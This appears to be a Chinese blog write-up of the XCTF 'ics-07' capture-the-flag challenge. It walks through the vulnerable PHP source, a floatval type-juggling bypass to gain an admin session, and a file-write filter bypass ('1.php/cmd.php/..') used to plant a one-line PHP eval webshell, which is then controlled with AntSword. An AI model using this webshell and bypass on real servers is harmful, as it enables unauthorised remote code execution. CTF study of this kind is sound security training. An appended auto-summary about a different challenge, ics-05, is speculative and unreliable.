[XCTF]ics-07

工控云管理系统项目管理页面解析漏洞

 

打开链接,一个工控云管理系统,随意点击旁边的菜单,发现只有云平台项目管理中心可以进入

初始页面只有一个,可以找到一个view-source,点进去可以看到源码

考点:php代码审计、中间件解析漏洞、上传一句话木马连接

PHP代码审计

代码一共分为三部分

第一部分:提交的get参数page不为index.php即可

<?php
    session_start();//在用户登陆成功后,将用户特定标识存储到 session 会话中
    if (!isset($_GET[page])) {//检测page是否已设置且非空。
      show_source(__FILE__);//返回被高亮处理的代码,文件
      die();//输出并退出当前脚本
    }
    if (isset($_GET[page]) && $_GET[page] != 'index.php') {//要求提交的get参数page不为空且字符串不为index.php,则跳转flag.php
      include('flag.php');//include包含并执行
    }else {
      header('Location: ?page=flag.php');
    }
    ?>

第二部分:之后会得到一admin的session,通过post传入con与file两个参数,保存至/uploaded/backup/xxx文件名下

 <?php
     if ($_SESSION['admin']) {//session为admin
       $con = $_POST['con'];//post传入con和file
       $file = $_POST['file'];
       $filename = "backup/".$file;//文件名为backup/file

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');//上传成功后,在uploaded目录,创建文件,
并将con的内容写入/backup内,实际路径就是:uploaded/backup/xxx.xxx
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

第三部分:获取一个id参数, 并且id不为1,且最后一位等于9。
这里用到了floatval这个函数,floatval 函数用于获取变量的浮点值,但是floatval在遇到字符时会截断后面的部分,所以可以构造id=1gy9来满足第一个if条件,if条件满足条件时,即可使得$result变量为TRUE,查询正确,就会得到一个admin的session了

<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {//floatval()函数,返还它其变量的浮点值
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

floatval()函数使用代码示例

<?php

$var = '47.129mln';

$float_value = floatval($var);

echo $float_value;

?>

输出:47.129

这里使用HackBar工具

先满足1,3部分条件

写入一句话

con=<?php @eval($_POST[password]);?>&file=1.php/cmd.php/..

使用蚁剑连接,密码为password,并且获取目录内的flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对于题目"web-ics-05",根据提供的引用内容,我们可以得到以下信息: - 这道题可能是在入侵后利用管理平台来完成一些信息的收集,读取文件并利用是非常重要的。\[1\] - 在源代码中有一段注释,提到要给HTTP头部添加X-forwarded-For=127.0.0.1。\[2\] - preg_replace函数可以执行正则表达式的搜索和替换。\[3\] 根据这些信息,我们可以推测"web-ics-05"可能是一道关于入侵和利用管理平台的题目,要求读取文件并进行一些操作,同时还需要使用preg_replace函数进行正则表达式的搜索和替换。具体的题目要求和操作细节可能需要进一步的信息才能确定。 #### 引用[.reference_title] - *1* *3* [xctf-web-ics05](https://blog.csdn.net/zhejichensha_l7l/article/details/113530046)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [攻防世界-ics-05-(详细操作)做题笔记](https://blog.csdn.net/qq_43715020/article/details/125291336)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值